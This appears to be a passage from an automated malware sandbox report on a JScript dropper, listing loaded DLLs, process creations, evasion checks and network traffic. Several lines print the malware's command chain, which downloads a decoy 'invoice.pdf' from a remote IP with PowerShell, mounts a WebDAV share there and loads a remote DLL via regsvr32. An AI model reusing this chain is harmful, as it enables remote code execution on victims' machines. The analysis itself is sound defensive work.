Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\7219.js.csv");ITextStream.WriteLine(" entry:8108 f:rjbcriqq");ITextStream.WriteLine(" exec:2 f:rjbcriqq");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49700

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4541			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5291			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5112	Thread sleep count: 4541 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2648	Thread sleep count: 5291 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1836	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2120	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6808	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5932	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7212	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7496	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: svchost.exe, 0000000F.00000002.2567841129.000001E60662B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWPn
Source: net.exe, 0000000D.00000002.1324002128.0000015A7B7A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: net.exe, 0000000D.00000002.1324002128.0000015A7B809000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2568786182.000001E60BC54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
